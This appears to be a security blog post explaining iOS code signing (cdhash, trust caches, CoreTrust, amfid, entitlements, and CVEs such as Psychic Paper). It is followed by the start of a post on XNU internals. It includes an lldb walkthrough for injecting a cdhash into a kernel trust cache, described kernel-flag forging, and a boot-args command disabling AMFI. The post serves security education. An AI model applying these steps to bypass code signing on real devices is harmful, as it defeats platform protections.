<p>The <strong>CodeDirectory</strong> is the sub-blob that matters. It holds one hash per 4 KiB page of the signed region: the <strong>code slots</strong>. When a page is first faulted in, the virtual-memory system hashes it and compares it to the stored slot (<code>cs_validate_page</code>). Every normal process on iOS carries the <code>CS_HARD | CS_KILL</code> flags, so a mismatch is fatal: the kernel kills the process on the spot with <code>SIGKILL</code>, the signal a process cannot catch or ignore. That per-page check on first fault is the mechanism behind &ldquo;you cannot patch a signed page in memory&rdquo;. The exception is a page in a region that was never signed at all, which is the JIT (just-in-time compiled code) hole we return to later.</p>
<p>The CodeDirectory also binds the other sub-blobs into itself through <strong>special slots</strong>, each holding the hash of one sub-blob. You cannot alter the entitlements blob without changing the CodeDirectory, which is why the entitlement parser bugs later in this post are interesting.</p>
<p>And now the number. The <strong>cdhash</strong> is the hash of the CodeDirectory blob itself, truncated to <code>CS_CDHASH_LEN</code>, <strong>20 bytes</strong>, whatever the underlying algorithm. It is the canonical identity of a binary, and every mechanism downstream keys on it: the trust cache is an allowlist of cdhashes, a launch-constraint category is assigned per cdhash, amfid&rsquo;s reply is a cdhash, <code>csops(CS_OPS_CDHASH)</code> hands one back to userland. In the kernel it lives in a <code>struct cs_blob</code> hanging off the file&rsquo;s vnode, the kernel&rsquo;s handle on a file.</p>
<p>A binary is, for this purpose, its cdhash. &ldquo;May these bytes run?&rdquo; becomes &ldquo;what does the kernel do with this 20-byte value at exec?&rdquo;</p>
<h2 id="the-verdict-pipeline">The verdict pipeline</h2>
<p>At exec, the kernel&rsquo;s <code>mac_vnode_check_signature</code> entry point calls AMFI&rsquo;s <code>mpo_vnode_check_signature</code> callback, the routine that produces the verdict. The other AMFI hooks around it do the smaller jobs: setting the <code>CS_HARD | CS_KILL</code> flags, enforcing library validation on loaded dylibs, gating <code>MAP_JIT</code> and <code>get-task-allow</code>. The signature check is the one that decides whether the process runs at all.</p>
<p>Inside that check, AMFI computes the binary&rsquo;s cdhash and walks a pipeline. <strong>The order matters</strong>, because each stage trusts a different thing and has a different attack surface:</p>
<table>
<thead>
<tr>
<th>Step</th>
<th>What AMFI checks</th>
<th>On a match</th>
<th>CMS validated?</th>
</tr>
</thead>
<tbody>
<tr>
<td>1. Trust cache</td>
<td>cdhash present in the static or a loadable trust cache</td>
<td>runs as a <strong>platform binary</strong></td>
<td><strong>No</strong></td>
</tr>
<tr>
<td>2. CoreTrust</td>
<td>CMS chain validates to a pinned Apple root; classify the signer</td>
<td>App Store signer runs directly</td>
<td>Yes, in the kernel</td>
</tr>
<tr>
<td>3. amfid + profile</td>
<td>signer and entitlements checked against a provisioning profile</td>
<td>developer / enterprise binary runs</td>
<td>Yes (via CoreTrust) plus the profile</td>
</tr>
<tr>
<td>none of the above</td>
<td>nothing vouches for the cdhash</td>
<td><code>SIGKILL</code></td>
<td>not reached</td>
</tr>
</tbody>
</table>
<p>Read top to bottom, this is the entire answer to &ldquo;may these bytes run?&rdquo; The first row is the one that matters most: for most of the code on the device, there is no cryptography at exec time at all.</p>
<h2 id="trust-caches-the-allowlist">Trust caches: the allowlist</h2>
<p>The base OS is thousands of Mach-O files, and validating a CMS chain for each one on every launch would be slow. Apple&rsquo;s answer is an allowlist. A <strong>trust cache</strong> is a sorted list of cdhashes trusted <em>without</em> any signature validation: if a binary&rsquo;s cdhash is in the cache it runs immediately as a platform binary, and the CMS blob is never read. That is step 1 of the pipeline, and the path taken by essentially the whole OS.</p>
<p>The cache is carried in an Image4 container (an <code>IM4P</code> payload, the format from <a href="/blog/ios-chain-of-trust/">the boot-chain post</a>), tagged <code>trst</code> for the static cache, <code>rtsc</code> for a restore cache, <code>ltrs</code> for a loadable one. Inside is a short header (version, uuid, entry count) followed by sorted <code>{ cdhash, hashType, flags }</code> entries, so a lookup is a binary search on the 20-byte cdhash. Version 2 adds a byte tying each entry to a launch-constraint category.</p>
<p>There are two kinds. The <strong>static trust cache</strong> is a signed Image4 object loaded alongside the kernelcache at boot, one per system disk image, and locked read-only after early boot: the allowlist for the shipped OS. <strong>Loadable trust caches</strong> are added at runtime, for a mounted disk image&rsquo;s contents or a developer&rsquo;s binaries.</p>
<p>This is one of the jailbreak&rsquo;s oldest techniques. Before the page-table monitors existed, a loadable trust cache lived in ordinary writable <code>__DATA</code> kernel memory, and an exploit with kernel read/write appended its own binaries&rsquo; cdhashes to it. From that moment those binaries ran as platform code with no signature check. Electra&rsquo;s <code>inject_trusts</code> is the canonical example, adding the cdhashes of <code>amfid_payload.dylib</code> and the rest of the jailbreak&rsquo;s userland.</p>
<h3 id="aside-injecting-a-cdhash-by-hand-in-lldb">Aside: injecting a cdhash by hand in lldb</h3>
<p>Attach a kernel debugger, lldb against a target matched to its Kernel Debug Kit, and you have kernel read/write for free, the same position a finished exploit is in when it reaches this step. On a build where the loadable trust cache still sits in writable kernel memory, the move is short: find the module, read its header, write your binary&rsquo;s cdhash into a fresh entry, and raise the count over it.</p>
<pre><code>(lldb) # a loadable trust cache module in kernel memory
(lldb) #   (recover the list-head symbol during symbolication)
(lldb) p (struct trust_cache_module1 *)&lt;trust cache module&gt;
(struct trust_cache_module1 *) $0 = 0xfffffff0&lt;...&gt;

(lldb) # header: version, a 16-byte uuid, then the entry count
(lldb) p $0-&gt;num_entries
(uint32_t) $1 = 41

(lldb) # each entry is { cdhash[20], hash_type, flags }, kept sorted
(lldb) # write your binary's cdhash (the 20 bytes from codesign -dvvv)
(lldb) # into the next slot, then raise the count over it
(lldb) memory write --infile cdhash.bin &amp;$0-&gt;entries[41]
(lldb) expr -- $0-&gt;num_entries = 42
</code></pre>
<p>Two things make this harder than the four lines suggest. The entries are sorted so the lookup can binary-search them, so a correct injection inserts in order, or splices in a fresh single-entry module, which is what real injectors do. And it only works where that memory is writable: on a PPL device (Page Protection Layer, the pre-A15 page-table monitor) the trust cache lives in <code>pmap_cs</code> pages the kernel may not write, and on an SPTM device (Secure Page Table Monitor, its A15-and-later replacement) it is a monitor-owned frame. The identical write faults.</p>
<h2 id="coretrust-the-check-that-moved-into-the-kernel">CoreTrust: the check that moved into the kernel</h2>
<p>If the cdhash is not in a trust cache, the binary has to prove itself with its CMS signature. This stage exists because of what it replaced.</p>
<p>For years the real signature validation happened in userland, in the <code>amfid</code> daemon we meet next. The kernel&rsquo;s AMFI would compute a cdhash, hand it to amfid, and trust amfid&rsquo;s yes-or-no answer. That design has an obvious weakness once an attacker has kernel read/write: patch amfid. Every jailbreak of that era did. LiberiOS pointed amfid&rsquo;s import of the validation function at a bad address and caught the resulting fault; Electra rebound it to a <code>fake_MISValidateSignatureAndCopyInfo</code> that simply returned success.</p>
<p><strong>CoreTrust</strong> removed that weakness. It is an in-kernel validator (packaged as <code>CoreTrust.kext</code> on most builds) that parses the CMS <code>SignedData</code> structure, builds the X.509 certificate chain (X.509 is the standard certificate format), verifies every signature in it, and confirms the chain terminates at an <strong>Apple root certificate pinned inside the kernel</strong>. It then classifies the leaf certificate by its extensions into a signer class, App Store, developer or enterprise, and hands those <em>policy flags</em> back to AMFI. It deliberately does not look at entitlements or provisioning profiles; its entire job is &ldquo;is this a genuine Apple-rooted signature, and of what kind.&rdquo;</p>
<p>The consequence is that a patched amfid is no longer enough on its own. The cryptographic decision lives in the kernel now, anchored to a key an attacker with read/write can read but cannot make the CMS math validate against. With no valid Apple-rooted chain the binary dies in CoreTrust before amfid is ever asked, so jailbreaks moved their code-execution root to trust-cache injection and, later, to logic bugs in CoreTrust itself.</p>
<p>Its entire input is attacker-controlled ASN.1 (the tag-length-value encoding certificates are written in), which makes the parser and the chain-validation logic a target in their own right. CVE-2022-26766 is a real one, walked below.</p>
<h2 id="amfid-and-provisioning-profiles">amfid and provisioning profiles</h2>
<p><strong>amfid</strong> (<code>/usr/libexec/amfid</code>) is the userland daemon behind the third row of the pipeline, the one that carries third-party code: apps signed by a developer or an enterprise rather than baked into the OS or shipped through the App Store. The kernel&rsquo;s AMFI reaches it over a dedicated Mach special port (port 18). It validates the binary against the <strong>provisioning profiles</strong> installed on the device, by calling <code>MISValidateSignatureAndCopyInfo</code> in <code>libmis</code>, and returns the cdhash and signer information.</p>
<p>A <strong>provisioning profile</strong> is a CMS-signed plist, stored under <code>/var/MobileDeviceProvisioningProfiles</code>, that binds four things together:</p>
<ul>
<li>the developer or enterprise <strong>certificate(s)</strong> allowed to sign,</li>
<li>the <strong>entitlements</strong> the binary is permitted to claim,</li>
<li>the <strong>device UDIDs</strong> (per-device unique identifiers) it may run on,</li>
<li>an <strong>expiry date</strong>.</li>
</ul>
<p>amfid cross-checks the binary&rsquo;s actual signer and requested entitlements against this profile. That is the machinery behind a detail every iOS developer has hit: a free &ldquo;personal team&rdquo; profile expires in <strong>7 days</strong>, so a sideloaded app stops launching a week later. Enterprise profiles last far longer, which is why enterprise certificates are what sideloading and iOS malware distribution run on.</p>
<h2 id="entitlements-signed-capabilities">Entitlements: signed capabilities</h2>
<p>Entitlements have come up at every stage; here is the definition. An <strong>entitlement</strong> is a signed key/value pair bound into the CodeDirectory by a special slot, so it cannot be altered without changing the cdhash. It is a capability the signer cryptographically granted.</p>
<p>They fall into three groups:</p>
<table>
<thead>
<tr>
<th>Group</th>
<th>Examples</th>
<th>Who may carry it</th>
</tr>
</thead>
<tbody>
<tr>
<td>Benign</td>
<td><code>get-task-allow</code></td>
<td>any developer-signed binary</td>
</tr>
<tr>
<td>Restricted</td>
<td><code>platform-application</code>, <code>com.apple.private.*</code>, <code>apple-internal</code></td>
<td>only Apple-signed or specially provisioned binaries</td>
</tr>
<tr>
<td>Sandbox exceptions</td>
<td>file and <code>mach-lookup</code> exceptions</td>
<td>granted here, enforced by the sandbox module</td>
</tr>
</tbody>
</table>
<p>AMFI enforces that a third-party binary may carry only the entitlements its provisioning profile authorizes; it cannot simply ask for <code>platform-application</code> and receive it. Forging membership in the restricted group, getting the kernel to believe a binary holds an entitlement it was never granted, is what the signature bugs below go after.</p>
<p>The last group is the handoff to the next post. A sandbox exception is an entitlement AMFI validates here, at exec, and that the sandbox <em>consumes</em> at runtime to widen what the process may touch.</p>
<h2 id="the-offensive-angle-logic-beats-corruption">The offensive angle: logic beats corruption</h2>
<p>So where are the bugs? The memory-safety surface is real: the CMS ASN.1 decoder and the CodeDirectory&rsquo;s bounds arithmetic are reachable from anything that gets a Mach-O parsed, and worth fuzzing. But the defining bugs of this component are <strong>logic</strong>. A logic bug in the code-signing policy needs no heap shaping, survives kalloc_type (the type-segregated kernel allocator), is untouched by memory tagging and is unaffected by the page-table monitor. The check runs exactly as written and still returns the wrong verdict. Three cases show the pattern.</p>
<p><strong>Psychic Paper</strong> (Siguza, 2020, CVE-2020-9842, fixed in iOS 13.5) is the clearest case. iOS parsed the entitlements blob with three different plist parsers, <code>OSUnserializeXML</code> in the kernel, <code>CFPropertyListCreateWithData</code> in amfid, and libxpc&rsquo;s <code>xpc_create_from_plist</code>, and Siguza found a comment construct they read differently: one saw a harmless plist, another an entitlement that was not there. The launch-time check validated the benign reading while the runtime granted the malicious one, so an unprivileged app could claim any entitlement it liked, up to <code>platform-application</code>. No memory was corrupted, two parsers disagreed, and the disagreement granted the entitlement. The fix added <code>AMFIUnserializeXML</code> to both AMFI and amfid and rejects the blob when its reading disagrees with the old parsers.</p>
<p><strong>The DER sequel</strong> (Ivan Fratric, Project Zero, CVE-2022-42855, fixed in iOS 15.7.2) is the same bug in binary form. Apple had moved entitlements to DER partly to end these differentials, since DER is meant to have exactly one canonical reading, but <code>libCoreEntitlements</code> had three traversals that disagreed on how far a sequence extended. An entitlement smuggled in as an extra element was honored at runtime and invisible to the check meant to reject it.</p>
<p><strong>The CoreTrust root bug</strong> (Linus Henze, CVE-2022-26766, fixed in iOS 15.5) attacked the certificate check instead of the parser, and it has the largest footprint. CoreTrust validated the CMS chain but never confirmed it terminated at an Apple root, so a certificate merely <em>carrying the App Store extension</em>, whoever issued it, made CoreTrust set the App Store flag and AMFI run the binary with nearly any entitlement. This is the primitive behind <strong>TrollStore 1</strong>: permanent, arbitrary code signing, with no memory corruption anywhere in it.</p>
<p>When the bug is in the kernel instead of the policy, this same component is the last step of post-exploitation. With kernel read/write, an attacker does not need a fresh signing bug: append a cdhash to a loadable trust cache, flip <code>CS_PLATFORM_BINARY</code> and clear <code>CS_HARD | CS_KILL</code> in a process&rsquo;s <code>p_csflags</code> (its code-signing flags word), or edit the AMFI label slot to grant an entitlement. Each is a data-only write that turns &ldquo;I control kernel memory&rdquo; into &ldquo;I run whatever code I want.&rdquo; On pre-PPL hardware they all land as written; on a PPL device they need a PPL bypass first, for the reason the aside gave.</p>
<h2 id="state-in-2026">State in 2026</h2>
<p>The pipeline above has not moved, but forging a verdict now takes more than a kernel write.</p>
<p><strong>TXM, the Trusted Execution Monitor, makes the decision now.</strong> On A15 and M2 and later running iOS 17 or newer, the SPTM devices, Apple moved the code-signing verdict out of the XNU address space entirely. TXM runs above the kernel and holds the trust caches, the provisioning-profile registry and the signature objects in memory the page-table monitor never maps writable to the kernel. That is the lldb aside generalized: trust-cache injection and <code>p_csflags</code> forging are <strong>dead</strong> on this hardware. Post-exploitation now needs a monitor bug on top of the kernel bug, a subject for the hardening post later in this series.</p>
<p>The rest, in brief:</p>
<ul>
<li><strong>DER entitlements are the enforced form</strong> since iOS 15, retiring the XML parser-differential class, though the DER decoder produced its own CVE-2022-42855.</li>
<li><strong>Launch constraints</strong> (iOS 16, everywhere by 2026) pin a system binary to the context it may launch in, closing the &ldquo;reuse an old Apple-signed binary&rdquo; and &ldquo;repurpose a privileged helper&rdquo; tricks.</li>
<li><strong>CoreTrust was hardened</strong> after CVE-2022-26766: the root anchor has been enforced since iOS 15.5. The same component then produced a second TrollStore-grade bug, CVE-2023-41991, a multiple-<code>SignerInfo</code> validation flaw that carried TrollStore 2 through iOS 15.5 to 16.6.1 and 17.0 and was fixed in 16.7 and 17.0.1. Permanent signing died with that fix, not with the 2022 one.</li>
<li><strong>Developer Mode</strong> (iOS 16) replaced the ad-hoc &ldquo;just disable AMFI&rdquo; paths with a signed, reboot-gated state.</li>
</ul>
<p>What still works is the logic, for the reason the offensive section gave: a differential in the <em>policy</em> corrupts nothing, so none of these mitigations apply to it. The JIT hole is permanent by construction too: a process holding <code>dynamic-codesigning</code> owns a legitimately writable-then-executable mapping, and a bug inside such a process, a browser&rsquo;s JavaScript engine being the obvious one, reaches native code without touching any of this machinery.</p>
<h2 id="hands-on-dumping-the-policy-off-a-real-binary">Hands-on: dumping the policy off a real binary</h2>
<p>You can watch this whole pipeline from a Mac, no jailbreak needed, because every value it turns on is dumpable from a signature and a firmware image.</p>
<p><strong>1. Read the SuperBlob and the cdhash.</strong> <code>codesign -dvvv</code> prints the CodeDirectory summary and the cdhash for any signed binary. <code>/bin/ls</code> is a good first target, one of Apple&rsquo;s own platform binaries:</p>
<pre><code class="language-bash">codesign -dvvv /bin/ls
</code></pre>
<pre><code>Executable=/bin/ls
Identifier=com.apple.ls
Format=Mach-O universal (x86_64 arm64e)
CodeDirectory v=20400 size=741 flags=0x0(none) hashes=18+2 location=embedded
Hash type=sha256 size=32
CDHash=1205ca11b1c3f706109656bcf4e2c12439d843b7
Signature size=4442
Authority=Software Signing
Authority=Apple Code Signing Certification Authority
Authority=Apple Root CA
TeamIdentifier=not set
</code></pre>
<p><code>hashes=18+2</code> is 18 code slots plus 2 special slots, and <code>CDHash=1205ca11...</code> is the 20 bytes everything downstream keys on. The <code>Authority=</code> chain is what CoreTrust validates, terminating at <code>Apple Root CA</code>; the <code>Software Signing</code> leaf marks this as Apple&rsquo;s own platform code, which is why it carries no team identifier and no entitlements.</p>
<p><strong>2. See the allowlist itself.</strong> <code>ipsw fw tc</code> pulls the trust caches out of an IPSW (Apple&rsquo;s signed firmware bundle): the static <code>trst</code> cache for the system volume, plus an <code>rtsc</code> restore cache for each restore ramdisk. Point it at the IPSW, not at a decompressed kernelcache:</p>
<pre><code class="language-bash">ipsw fw tc iPhone10,3,iPhone10,6_15.0_19A346_Restore.ipsw
# ipsw fw tc --remote '&lt;IPSW URL&gt;' streams it instead of downloading
</code></pre>
<pre><code>UUID:       E45C2F07-B759-44D4-BBD5-B3844FDBBED6
Version:    1
NumEntries: 2407
    0023c7654da7272bbd68953586f1a299b8bed350 sha256
    00262ea6bb7dcf7ee984c8280a6e5e5ac7a14584 sha256
    0037fc2307eae66eaf7139916862dc2b7336b43f sha256
    ...
</code></pre>
<p>This IPSW carries three; the system volume&rsquo;s is the big one, <strong>2,407</strong> cdhashes, each a 20-byte value like the one <code>codesign</code> printed for <code>/bin/ls</code> in step 1, sorted for the binary search. Nearly all of the OS runs as platform code because its cdhash is one of these, with no CMS validation at all.</p>
<p><strong>3. Try to grant yourself an entitlement.</strong> Steps 1 and 2 read Apple&rsquo;s policy off finished binaries; now sign a capability into one. This is a macOS demonstration, because macOS runs locally-signed code at all; on iOS the binary would be killed for having no trust-cache entry and no Apple signature, long before entitlements came up.</p>
<p>A freshly compiled binary is ad-hoc signed by the linker and carries no entitlements. Sign a benign one in, the macOS debug entitlement <code>com.apple.security.get-task-allow</code>, and it still runs: any signer may carry that key, because it grants no authority the system has to vouch for. <code>platform-application</code> is the other kind. It marks a binary as Apple&rsquo;s own platform code, the <code>CS_PLATFORM_BINARY</code> from the pipeline, so a self-signed binary must not be able to claim it:</p>
<pre><code class="language-bash">cd /tmp
printf 'int main(void){return 0;}\n' &gt; hello.c &amp;&amp; clang -o hello hello.c
echo '{&quot;platform-application&quot;:true}' | plutil -convert xml1 -o restricted.plist -
codesign -s - --entitlements restricted.plist -f ./hello
./hello; echo &quot;exit: $?&quot;
# zsh: killed  ./hello
# exit: 137
</code></pre>
<p>A <code>SIGKILL</code>, before <code>main</code>. With <code>log stream --predicate 'sender == "kernel"'</code> open in another Terminal, the reason prints as the process dies:</p>
<pre><code>kernel: mac_vnode_check_signature: /private/tmp/hello: code signature validation failed fatally:
  Code has restricted entitlements, but the validation of its code signature failed.
kernel: validation of code signature failed through MACF policy: 1
</code></pre>
<p><code>platform-application</code> is a <strong>restricted</strong> entitlement, so carrying it forces the signature to be <em>authorized</em> to carry it, and an ad-hoc signature is authorized by nobody. Note the check: <code>mac_vnode_check_signature</code>, failing <code>through MACF policy</code>, the exact hook and framework from the top of this post.</p>
<p>Sign the same binary with a genuine Apple Development identity and it dies the same way, exit 137, on the same <code>mac_vnode_check_signature</code> kill. Holding a real certificate is not authorization to carry a restricted entitlement. A developer can unlock some restricted entitlements with a provisioning profile, but <code>platform-application</code> is not one of them: no third-party profile grants it. Signing lets you <em>write</em> any entitlement into the blob and confers no authority to <em>use</em> a restricted one. That is what a bug like Psychic Paper bought.</p>
<p><strong>4. Turn the enforcement off, and see what that takes.</strong> The sanctioned off-switch is the boot argument from the MACF section, <code>amfi_get_out_of_my_way</code>: set it and AMFI&rsquo;s hooks allow without checking, so unsigned code runs. On a Mac it goes in NVRAM, the non-volatile store the boot loader reads at startup:</p>
<pre><code class="language-bash">sudo nvram boot-args=&quot;amfi_get_out_of_my_way=0x1 cs_enforcement_disable=1&quot;
</code></pre>
<p>On a stock machine that command changes nothing. The kernel ignores AMFI-disabling boot-args unless System Integrity Protection (SIP) is already off, and SIP comes off only from recoveryOS with <code>csrutil disable</code>, on Apple Silicon only after lowering the machine&rsquo;s security policy from Full to Reduced.</p>
<p>On iOS none of that is available: a production iPhone will not let you write boot-args, and its release kernel would ignore them if you could. The argument is honored only on Apple&rsquo;s own development-fused hardware, or on a device whose boot chain you have already broken: a checkm8-class Boot ROM bug that lets you patch iBoot and inject boot-args, or a kernel already patched by a jailbreak. You can only relax code signing if you can influence the boot chain, and the boot chain is the thing built to stop you.</p>
<h2 id="where-this-leaves-us">Where this leaves us</h2>
<p>When a process is created, the kernel computes its cdhash and walks a pipeline: the trust cache first (the allowlist that runs the base OS with no cryptography), then CoreTrust (an in-kernel CMS check anchored to a pinned Apple root), then amfid with the provisioning profiles. The outcome is written into the process&rsquo;s credentials as flags and a label, along with the entitlements it was granted. AMFI runs this, plugged into MACF alongside the sandbox, and its defining bugs are logic: two parsers, or a certificate check, made to disagree.</p>
<p>That last handoff is <a href="/blog/ios-sandbox/">the next post</a>. AMFI has decided what this binary is allowed to <em>be</em> and stamped the answer, including its sandbox-exception entitlements, into <code>cr_label</code>. The sandbox reads that same label and decides the other question: now that the process is running, what is it allowed to <em>touch</em>? It is the second policy module on the same framework, and escaping it is usually a logic problem too.</p>
<h2 id="notes-and-sources">Notes and sources</h2>
<p>Everything here is drawn from open source, vendor documentation, and published research.</p>
<ul>
<li>Apple, <a href="https://support.apple.com/guide/security/welcome/web">Apple Platform Security</a>, for code signing and trust caches at the vendor-documentation level.</li>
<li>Apple&rsquo;s open-source <a href="https://github.com/apple-oss-distributions/xnu">XNU</a> is ground truth for the structures named here: <code>osfmk/kern/cs_blobs.h</code> (the <code>CSMAGIC_*</code> and <code>CSSLOT_*</code> values, <code>CS_CDHASH_LEN</code>), <code>osfmk/kern/trustcache.h</code> (the trust-cache header and entry layout), <code>bsd/sys/code_signing.h</code> and <code>bsd/kern/code_signing/{xnu,ppl,txm}.c</code> (the <code>csm_*</code> monitor interface), and <code>security/mac_policy.h</code> (the <code>mpo_*</code> MACF hook names).</li>
<li>Siguza, <a href="https://blog.siguza.net/psychicpaper/">&ldquo;Psychic Paper&rdquo;</a> (2020), the technical account of the XML entitlement parser-differential and the <code>AMFIUnserializeXML</code> fix. Apple&rsquo;s iOS 13.5 advisory credits CVE-2020-9842 to Linus Henze, not to Siguza, who had held the bug as a 0day.</li>
<li>Ivan Fratric, <a href="https://projectzero.google/2023/01/der-entitlements-brief-return-of.html">&ldquo;DER Entitlements: The (Brief) Return of the Psychic Paper&rdquo;</a> (Project Zero, 2023, CVE-2022-42855), the <code>libCoreEntitlements</code> DER traversal differential.</li>
<li>Linus Henze, the CoreTrust root-anchor bug (CVE-2022-26766), documented on <a href="https://theapplewiki.com/wiki/CoreTrust_Root_Certificate_Validation_Vulnerability">The Apple Wiki</a>; the primitive behind TrollStore 1.</li>
<li>Marwan Anastas, <a href="https://blog.quarkslab.com/modern-jailbreaks-post-exploitation.html">&ldquo;Modern Jailbreaks&rsquo; Post-Exploitation&rdquo;</a> (Quarkslab, 2018), for trust-cache injection (<code>inject_trusts</code>) and the amfid-patching history that CoreTrust ended.</li>
<li>Moritz Steffin and Jiska Classen, <a href="https://arxiv.org/abs/2510.09272">&ldquo;Modern iOS Security Features: A Deep Dive into SPTM, TXM, and Exclaves&rdquo;</a> (2025), for TXM as the code-signing monitor and the <code>txm_kernel_call</code> path.</li>
<li>Jonathan Levin, <em>*OS Internals, Volume III: Security &amp; Insecurity</em> (<a href="https://newosxbook.com/index.php">newosxbook.com</a>), the reference for AMFI, amfid, CoreTrust, trust caches, and provisioning profiles.</li>
</ul>]]></description>
    </item>
    <item>
      <title>Apple internals #2: XNU under the hood</title>
      <link>https://sigreturn.com/blog/xnu-under-the-hood/</link>
      <guid isPermaLink="true">https://sigreturn.com/blog/xnu-under-the-hood/</guid>
      <pubDate>Sun, 28 Jun 2026 12:00:00 +0000</pubDate>
      <author>contact@sigreturn.com (Adam Taguirov)</author>
      <category>System Internals</category>
      <category>ios</category>
      <category>xnu</category>
      <category>mach</category>
      <category>bsd</category>
      <category>kernel</category>
      <category>capabilities</category>
      <description><![CDATA[<p><a href="/blog/ios-chain-of-trust/">The previous post</a> ended with the iPhone in a very specific state. The boot chain has verified and launched a kernelcache, and XNU, the kernel iOS and macOS share, is now running as the most privileged code on the application processor. That kernelcache is XNU plus every kext (kernel extension: a driver module) the device needs, prelinked into one image and loaded by iBoot.</p>
<p>Everything a process does to the kernel, and everything an exploit does to escalate, converges on one capability: a handle, held in userland, that reads and writes kernel memory. In iOS folklore that handle is called tfp0. Almost every iOS kernel exploit is the same arc toward it: a memory-safety bug, a controlled reallocation, a type confusion into a kernel object, kernel read/write, and a rewritten credential.</p>
<div class="admonition note">
<p>Everything here is public: Apple&rsquo;s open-source XNU, the Apple Platform Security documentation, and published research from Project Zero and others. It contains no exploit, private detail, or 0day.</p>
</div>
<h2 id="the-mach-and-bsd-hybrid">The Mach and BSD hybrid</h2>
<p>XNU is a hybrid, and the word is doing real work. Its core is Mach, which owns inter-process communication, virtual memory, and scheduling. The other half is a BSD personality, which owns the POSIX (standard Unix) surface: processes, the syscall table, the filesystem layer, sockets, and credentials. IOKit, the C++ driver runtime covered in a later post, rounds it out. All of it is linked into a single image, the kernelcache, running in one privileged address space at EL1, the kernel&rsquo;s privilege level.</p>
<p>The hybrid is a performance decision. A true microkernel would run BSD and IOKit as separate Mach servers reached by message passing; XNU co-locates them in kernel space and lets them call each other directly.</p>
<p>That decision has a consequence an attacker cares about. There is no internal privilege boundary between these subsystems below the guarded monitors Apple added later: the Page Protection Layer (PPL), then the Secure Page Table Monitor (SPTM), both discussed near the end. A memory-safety bug in a niche IOKit driver or a BSD socket option corrupts the <em>same</em> privileged address space that holds <code>ipc_port</code> objects and, before those monitors, the page tables, so a BSD bug regularly ends up as a Mach primitive.</p>
<p>If you come from Linux, start with two mappings. A Mach port is the exact analogue of a file descriptor. Both are a small integer, valid only inside one process, that indexes a per-process table in the kernel and names a kernel object you never touch directly. You read and write a file through an <code>int</code>; you talk to a service, a task, or a driver through a <code>mach_port_name_t</code>. And like a file descriptor, a port is transferable: you hand a port to another process inside a Mach message, the same way you hand a file descriptor to another process with <code>SCM_RIGHTS</code> over a Unix socket.</p>
<p>A Mach message is the analogue of writing to a socket or pipe, with one difference. It can carry port rights and out-of-line memory, not just bytes, so sending a message can transfer a capability. That is why the rest of iOS security is built on Mach IPC.</p>
<p>Both mappings are rows in a longer correspondence. Many concepts have a Mach half and a BSD half of the same underlying thing:</p>
<table>
<thead>
<tr>
<th>Concept</th>
<th>Mach side</th>
<th>BSD side</th>
</tr>
</thead>
<tbody>
<tr>
<td>The process</td>
<td><code>task</code> (address space, ports, threads)</td>
<td><code>proc</code> (pid, credentials, file descriptors)</td>
</tr>
<tr>
<td>The thread of execution</td>
<td><code>thread</code> (the schedulable entity)</td>
<td><code>uthread</code> (syscall state)</td>
</tr>
<tr>
<td>The syscall table</td>
<td><code>mach_trap_table</code> (negative numbers)</td>
<td><code>sysent</code> (positive numbers)</td>
</tr>
<tr>
<td>The handle to a kernel object</td>
<td><strong>Mach port</strong>: <code>mach_port_name_t</code> into <code>ipc_space</code></td>
<td><strong>file descriptor</strong>: <code>int</code> into <code>p_fd</code></td>
</tr>
<tr>
<td>IPC</td>
<td><strong>Mach message</strong> (<code>mach_msg</code>)</td>
<td>sockets, pipes, signals</td>
</tr>
<tr>
<td>Virtual memory</td>
<td><code>vm_map</code>, <code>vm_object</code>, <code>pmap</code> (Mach owns it)</td>
<td><code>mmap</code>, <code>mprotect</code> (BSD uses it)</td>
</tr>
<tr>
<td>The security model</td>
<td><strong>capabilities</strong> (you can do what you hold)</td>
<td><strong>identity</strong> (<code>kauth_cred_t</code>: uid, Mandatory Access Control label)</td>
</tr>
</tbody>
</table>
<p>A process is both a <code>task</code> and a <code>proc</code>, linked by a back-pointer, and a syscall from EL0, the unprivileged level where app code runs, lands in one of two dispatch tables depending on the sign of the syscall number.</p>
<h2 id="the-mach-half">The Mach half</h2>
<h3 id="tasks-and-threads">Tasks and threads</h3>
<p>A <code>task</code> is a container. It owns an address space (<code>vm_map</code>), a port namespace (<code>ipc_space</code>), a set of threads, and a handful of special ports it starts life with. A <code>thread</code> is the schedulable entity inside a task: it carries register state and its own control port. Both live in dedicated kernel zones (per-type allocator pools) and, on modern hardware, are increasingly kept in memory no other type can reuse, with their pointers signed.</p>
<p>For an attacker the <code>task</code> structure matters because it is the thing you eventually want to <em>forge</em>. A fake <code>task</code> you control, referenced by a port the kernel believes is a task control port, is a fake kernel task port.</p>
<h3 id="ports-and-port-rights">Ports and port rights</h3>
<p>A Mach port is an object inside the kernel, a <code>struct ipc_port</code>. It is a message queue with an ownership and rights model attached. Userland never sees the object or its address. It sees only a <em>name</em>, a <code>mach_port_name_t</code>, a small integer valid inside the naming task. Everything a task is allowed to do it does by holding the right kind of port.</p>
<p>The authority is not the port, it is the <em>right</em> you hold to it. There are four kinds:</p>
<ul>
<li><strong>receive</strong>: unique, held by exactly one task, owns the message queue. Whoever holds the receive right <em>is</em> the service behind the port.</li>
<li><strong>send</strong>: a copyable capability to enqueue messages onto that queue.</li>
<li><strong>send-once</strong>: guarantees exactly one message, then is consumed. Reply ports use these.</li>
<li><strong>dead-name</strong>: what a right becomes when its port dies.</li>
</ul>
<p>The whole capability model is one sentence: <em>the right you hold decides what you are allowed to do.</em></p>
<p>Most ports front a userland message queue. Some front a <em>kernel</em> object instead, and those are the ones that matter. Their <code>io_bits</code> field carries a <strong>kobject type</strong> from a fixed set (<code>IKOT_TASK_CONTROL</code>, <code>IKOT_THREAD_CONTROL</code>, <code>IKOT_HOST_PRIV</code>, <code>IKOT_IOKIT_CONNECT</code>), and <code>ip_kobject</code> points at the real kernel object: a <code>task</code>, a <code>thread</code>, an IOKit user client. <code>convert_port_to_task(port)</code> checks the kobject type in <code>io_bits</code>, dereferences <code>ip_kobject</code>, and hands back the <code>task</code>. That is what turns &ldquo;I hold a port&rdquo; into &ldquo;I act on a kernel object.&rdquo;</p>
<p>A task exercises all of its authority through ports. Its bootstrap port reaches launchd and, through it, other services. Its task self port lets it call the <code>mach_vm_*</code> family on its own address space. Its exception ports receive a thread&rsquo;s state when it faults. Its host port answers unprivileged queries, and the separate host-priv port gates privileged host calls.</p>
